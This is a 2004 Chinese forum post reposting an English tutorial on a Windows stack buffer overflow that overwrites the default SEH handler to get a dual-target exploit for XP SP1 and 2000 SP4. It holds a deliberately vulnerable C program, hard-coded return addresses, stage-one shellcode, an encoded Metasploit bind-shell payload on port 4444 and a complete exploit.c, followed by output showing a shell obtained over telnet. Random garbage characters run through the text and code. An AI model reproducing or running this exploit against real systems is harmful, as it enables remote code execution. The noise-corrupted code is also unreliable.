QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 2415|回复: 0
打印 上一主题 下一主题

Exploiting Default Exception Handler to Increase Exploit Sta

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-11-19 10:39 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
The goal of this method is to create a stable exploit that will successfully exploit a buffer overflow vulnerability on multiple operating systems. Every windows application has a default exception handler that is located at the end of the stack. When exploiting a normal buffer overflow vulnerability we overwrite the return address but in this case we will continue overwriting the stack and overwrite the default exception handler as well.! L  c$ s" s) ~% Q0 S4 K

( q- P7 u, ?# s& y+ g5 W[Buf] <- Shellcode- K3 p9 z: I. ?5 A0 }. ?; d3 l2 p# K9 Y
[Return Address] <- jmp register (for Windows XP sp1)
6 p0 V1 q  v' y/ a[Various Stack Data] <- Junk
& h; O* x4 \+ W& T! o[Pointer To Next SEH] <- "\xEB\x06\xff\xff" jump 6 bytes forward# V! T3 c! M0 v( X% `" C
[SE Handler] <- jmp register (for Win2k sp4)
6 w7 `- y+ C7 h6 s' [3 A3 z[Stage1 Shellcode] <- stage1 shellcode for win2k8 n. `( m9 D: G6 w) W6 j

0 k/ d7 M9 \2 y( ~0 jIf the first return address (Windows XP SP1) is wrong an exception will occur and the default exception handler will be called (Windows 2000 SP4). Thus allowing us to create a stable exploit with two return addresses
. b( _4 ~4 X/ B% `8 z5 _2 i/ O* C3 u* I$ k: e
Necessary Tools:: h2 ]# `/ K- V' }" E4 L
- OllyDBG# y; s; E0 [( U  B& n3 W7 c) R3 \1 F
- C/C++ Compiler
7 H! F2 j4 L  a- nasm
$ o  k# T% i+ j, P6 Z/ B2 A6 I- Sac) H: a5 W5 d4 o5 i" B. R
/ K/ ]2 Y! I* ?' c
Vulnerable Code:
. M9 B" T4 U* H1 L  C//lamebuf.c( G$ q) c6 F- u% a# t
#include<stdio.h>
8 @% Y$ @6 h' K2 c0 c% I) @8 s6 d#include<string.h>
$ C0 s& D: D5 ^2 q, z- V#include<windows.h>
# g0 K6 |% b4 l5 E9 Bint main(int argc,char *argv[]){6 B7 `" K: F5 G% f7 k
8 \( ?5 m  q, L+ ^; B$ f
char buf[512];, y1 `: x* t3 [
char buf1[1024]; // <- simulate a stack! F4 \6 L" `. _, A& A; C1 q
//DebugBreak();
1 x2 k2 M! o/ p- @6 P2 q+ xif (argc != 2){ return -1; }
1 s6 d  p- q' K& a+ g- m6 n; Q$ Z: T6 \- r7 _, ~8 _* h' S
strcpy(buf,argv[1]);
/ V2 o( B, a0 H1 n  s( greturn 0x0;  r1 v4 C8 X* F: V
}
& S1 b5 r$ c$ B( N5 l$ x5 i( q9 y5 {" Z& q
Getting Started:
# H6 a% z' K9 F! r$ R. d) m0 v6 ZBefore writing the exploit, lets see what happens when we overflow this application with 1600 bytes. The application crashed in the following state of registers:
# T4 ^, [7 {. r5 o! ]# e- q
( h6 e# F; M2 X5 k6 o# }, _% YEAX 00000000! E8 F& e6 t' x9 \% @7 _
ECX 00321404' U/ T0 B6 y+ q- H1 w2 z
EDX 00414141' D! R- Q8 }9 x1 w
EBX 7FFDF000
( T  U# r! W1 ~9 w5 ~+ M) |1 D+ @* Q# jESP 0012FF88 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"6 o% p, ^1 J5 p! l8 w' Y
EBP 41414141# A8 G0 A( b( X0 k) Y% W) A
ESI 77D4595F
8 L- j: E9 W) L4 H+ sEDI 77F59037 ntdll.77F59037
2 N& A3 X. m0 `' M; `EIP 41414141! c0 M; \5 n9 a" u9 J

2 Q/ I! \3 h/ [5 d& uLets take a look at the stack and see what happened to the default exception handler:# G* R3 z2 F  L8 W% d8 ^- [
0x0012FFB0 41414141 Pointer to next SEH Record
8 w5 e5 q4 p" s4 |7 r2 N& Y! a0x0012FFB4 41414141 SE Handler0 g5 s9 P# r8 f( v! A& @8 P

8 d( K5 \0 i% W1 C2 h$ e0 @" TWe successfully overwrote the return address and the default exception handler.
  c/ z' L* v  e- C
8 U2 e, i& H7 }4 b" K) c/ tPrimary Return Address (Windows XP SP1 EN):8 X" G8 P4 \( z3 p
The first return address will be called as in a normal stack overflow. We can see that esp points to user-input, we will use that as our first stage shellcode. The return address will be 0x77F8AC16 (jmp esp on Windows XP SP1 En), and our first stage shellcode will be:& X4 ^8 W( k* |* \$ E& o
"\x89\xE1\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE4"8 `& B4 i2 [+ g" r

* x1 W; Q9 E7 c; y6 Y, S8 L1 f9 bSecondary Return Address (Windows 2000 SP4 EN):5 {) ?8 @! b$ ^: y2 R) w
The secondary return address will be called as in a normal SEH return. The return address will be 0x77F92A9B (jmp ebx on Win2k Sp4 En), and our first stage shellcode will be:; Q) \7 A% Y" o4 q4 a" f* l& C
"\x89\xC1\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE1"1 N& }4 Q- o0 t7 O! E2 N) g

$ g3 O( Z/ a2 X# T! ^: J) _Proof Of Concept:
- T" s" w* I6 ]( Q6 M3 [// exploit.c/ I6 b$ Q" ]; T( }
// Tal zeltzer - [Double Return] //$ v0 ^7 S" l7 i' W, v

+ Y4 \; F, `- p  n#include<stdio.h># H$ p- C, d' F# }$ e6 R9 r
#include<string.h>7 L! Q% A$ Q  _
#include<windows.h>* F! W  _- D* ~% b' @8 n/ d
, f% {6 w% C+ j* N6 |
#define RET_XP 0x77F8AC16 // WinXP Sp1 English - jmp esp9 A; O* g0 J9 E0 J2 H
#define RET_WIN2K 0x77F92A9B // Win2k Sp4 English - jmp ebx/ U" Z  t6 T$ F, M$ ~
3 W: ~% r. K; z7 @. h" C
// Stage1 For WinXP Sp1 English
* l: m; g+ v: x5 I* o  R( M% eunsigned char stage1_1[] = "\x89\xE1\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE4";# f2 _* r  O+ ]
+ b- E" H& E5 `
// Stage1 For Win2k Sp4 English
, ]! ]. H  d& s* N$ Xunsigned char stage1_2[] = "\x89\xC1\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE1";
9 U0 I& }9 T+ H$ r) {8 V/ I) v$ [* B8 ^5 J' I' u
// win32_bind - Encoded Shellcode [\x00\x0a\x09] [ EXITFUNC=seh LPORT=4444 Size=399 ] _blank>http://metasploit.com
+ L! j( p) i9 d" W4 l$ B( D8 B6 o2 yunsigned char shellcode[] =
5 g* T2 I4 b; ?"\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x4f\x85"0 _4 K5 Y, I3 F0 k# s
"\x2f\x98\x83\xeb\xfc\xe2\xf4\xb3\x6d\x79\x98\x4f\x85\x7c\xcd\x19"
( g+ f, h& R; D0 U4 }"\xd2\xa4\xf4\x6b\x9d\xa4\xdd\x73\x0e\x7b\x9d\x37\x84\xc5\x13\x05"
$ x$ U) [, ?2 [' \"\x9d\xa4\xc2\x6f\x84\xc4\x7b\x7d\xcc\xa4\xac\xc4\x84\xc1\xa9\xb0"
. R2 f: u# j, b# q  i6 U"\x79\x1e\x58\xe3\xbd\xcf\xec\x48\x44\xe0\x95\x4e\x42\xc4\x6a\x74"
2 R- b+ Z# U; E" S5 l) r( v  B"\xf9\x0b\x8c\x3a\x64\xa4\xc2\x6b\x84\xc4\xfe\xc4\x89\x64\x13\x15"
" w9 D9 O2 R% W' s* D) I"\x99\x2e\x73\xc4\x81\xa4\x99\xa7\x6e\x2d\xa9\x8f\xda\x71\xc5\x14"3 W( H5 y; u. S( g
"\x47\x27\x98\x11\xef\x1f\xc1\x2b\x0e\x36\x13\x14\x89\xa4\xc3\x53"
4 L& F( u) g% j' u8 {& Z, y: ?"\x0e\x34\x13\x14\x8d\x7c\xf0\xc1\xcb\x21\x74\xb0\x53\xa6\x5f\xce"8 A5 {8 Z7 G" y6 m! G3 K+ |0 O
"\x69\x2f\x99\x4f\x85\x78\xce\x1c\x0c\xca\x70\x68\x85\x2f\x98\xdf"
" p7 k& s! r) r2 N& M"\x84\x2f\x98\xf9\x9c\x37\x7f\xeb\x9c\x5f\x71\xaa\xcc\xa9\xd1\xeb"8 W& f- P* u0 S+ N$ ^
"\x9f\x5f\x5f\xeb\x28\x01\x71\x96\x8c\xda\x35\x84\x68\xd3\xa3\x18"9 m4 k; E/ N6 ?: y  {4 M4 b- Z
"\xd6\x1d\xc7\x7c\xb7\x2f\xc3\xc2\xce\x0f\xc9\xb0\x52\xa6\x47\xc6"
0 j) V- E, }' {"\x46\xa2\xed\x5b\xef\x28\xc1\x1e\xd6\xd0\xac\xc0\x7a\x7a\x9c\x16"* b* b% b: L9 ~4 o
"\x0c\x2b\x16\xad\x77\x04\xbf\x1b\x7a\x18\x67\x1a\xb5\x1e\x58\x1f"
$ O3 H  N% s: r" U"\xd5\x7f\xc8\x0f\xd5\x6f\xc8\xb0\xd0\x03\x11\x88\xb4\xf4\xcb\x1c"6 z3 Q$ i: z' z- O" |
"\xed\x2d\x98\x5e\xd9\xa6\x78\x25\x95\x7f\xcf\xb0\xd0\x0b\xcb\x18"
, N  R/ H$ z3 T- z6 i8 N0 A"\x7a\x7a\xb0\x1c\xd1\x78\x67\x1a\xa5\xa6\x5f\x27\xc6\x62\xdc\x4f"( ^8 L& |# K$ g( S* q4 ]
"\x0c\xcc\x1f\xb5\xb4\xef\x15\x33\xa1\x83\xf2\x5a\xdc\xdc\x33\xc8"
% g! ^" |# w) l2 v" m6 m: k"\x7f\xac\x74\x1b\x43\x6b\xbc\x5f\xc1\x49\x5f\x0b\xa1\x13\x99\x4e"+ ?7 Y% Q$ Q/ H) e" m8 g8 ?
"\x0c\x53\xbc\x07\x0c\x53\xbc\x03\x0c\x53\xbc\x1f\x08\x6b\xbc\x5f"& z6 Z1 T2 |; E7 j2 c
"\xd1\x7f\xc9\x1e\xd4\x6e\xc9\x06\xd4\x7e\xcb\x1e\x7a\x5a\x98\x27"
1 K1 U. `+ m, K1 T"\xf7\xd1\x2b\x59\x7a\x7a\x9c\xb0\x55\xa6\x7e\xb0\xf0\x2f\xf0\xe2") B. _: r- F  M- }2 K
"\x5c\x2a\x56\xb0\xd0\x2b\x11\x8c\xef\xd0\x67\x79\x7a\xfc\x67\x3a"
3 g4 m. {/ g3 k5 J4 c"\x85\x47\x68\xc5\x81\x70\x67\x1a\x81\x1e\x43\x1c\x7a\xff\x98";
8 M1 ?. `0 f2 M0 Z1 S  X0 Y; }3 |1 w: g  ]

) V/ l0 F, s9 {) S- F' a6 Gint main(int argc,char *argv[]){) a. g" }0 G5 I
8 T: c/ f- q$ n: q9 r1 B; M" b- T
char *bufExe[3];
& a- `. y% z$ M* M. uchar buf[2048];0 X& Z% N& u! E! ^. m
bufExe[0] = "lamebuf.exe";* S! a) z; O4 m0 K
bufExe[2] = NULL;. e- C& H! C! C- p% a1 s/ R

: ^) f& D: H- jmemset(buf,0x0,sizeof(buf));
. t  n9 |# w/ Ymemset(buf,0x90,1652);& S+ j8 @0 \3 o! n/ Q! |6 a
memcpy(&buf[24],shellcode,sizeof(shellcode)-1);$ ]1 B/ B- P1 J7 V3 f7 Z. F

7 C+ A! l" q& `/ R" Zmemcpy(&buf[1544],&stage1_1,sizeof(stage1_1)-1); //WinXP SP1 En - Stage1 Shellcode. H6 x; n& c8 x* V; K+ U
memcpy(&buf[1592],&stage1_2,sizeof(stage1_2)-1); //Win2k SP4 En - Stage2 Shellcode& }: Y6 M1 [; ]6 X. A( B' T
! e6 R0 m9 T2 ~, u) `# O3 [
*(unsigned long *)&buf[1540] = RET_XP; // First RET (jmp esp) winXP sp1 en3 H, Q  n1 u" R; J
*(unsigned long *)&buf[1584] = 0xcccc06EB; // For win2k - jmp 6 bytes forward to our stage1_2 code
$ K6 i# p1 A' F2 ]; }8 v*(unsigned long *)&buf[1588] = RET_WIN2K; // Second RET (jmp ebx) win2k sp4 en
( s  m4 X1 ~9 C4 o" h: A* c( h/ ^; m0 J( B

  K$ K( x' \; J, N/ H) UbufExe[1] = buf;; H3 k6 `" v/ G
//Execute the vulnerable application
4 p' P; |& {" N0 i) u) P* f) e( Iexecve(bufExe[0],bufExe,NULL);7 z+ I/ e( E( C2 ~: i. e
3 {+ j, }; U) M6 d5 `' f
return 0x0;
: q- Y3 G0 Q4 C6 T  @$ v3 r}
. k% y; M2 w3 j, o" T$ F7 v  o9 N" i' P
Exploit under Windows XP SP1:
3 H* j- V8 }7 E7 G9 {; J* FC:\>exploit+ f2 ]3 n6 Z( V- {; a: I& T% Z
C:\>( n' R5 h5 Z' R
C:\>telnet 127.0.0.1 44448 T( G, j, Q" @1 G1 E) A
  f5 b1 \/ t% p$ J- a* l7 y: N0 {: z
Microsoft Windows XP [Version 5.1.2600]+ d9 B4 U8 s; f; q+ q  ]0 F
(C) Copyright 1985-2001 Microsoft Corp.0 {& f+ N# X5 z7 o+ `4 w0 G, b2 G: Z8 T
& A  g3 C" u; L+ W" p. h0 i
C:\>- N+ D% I9 V! _  p
+ t5 p' q  S0 ?+ y9 w
Exploit under Windows 2000 SP4:
9 C+ x) M  ]1 H1 f7 g' fC:\>exploit- D6 k& Z6 Z7 o: a
C:\>
3 W3 l; j% f; S- \$ V# x( e; v- R1 d7 qC:\>telnet 127.0.0.1 4444% o& [4 A: {1 Z% ?/ X  l: A0 G

. }: J$ l; `7 D. x& N8 zMicrosoft Windows 2000 [Version 5.00.2195]
# W% A8 h' u# Q8 l0 W(C) Copyright 1985-2000 Microsoft Corp.
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
您需要登录后才可以回帖 登录 | 注册地址

qq
收缩
  • 电话咨询

  • 04714969085
fastpost

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2026-6-15 10:56 , Processed in 0.433905 second(s), 52 queries .

回顶部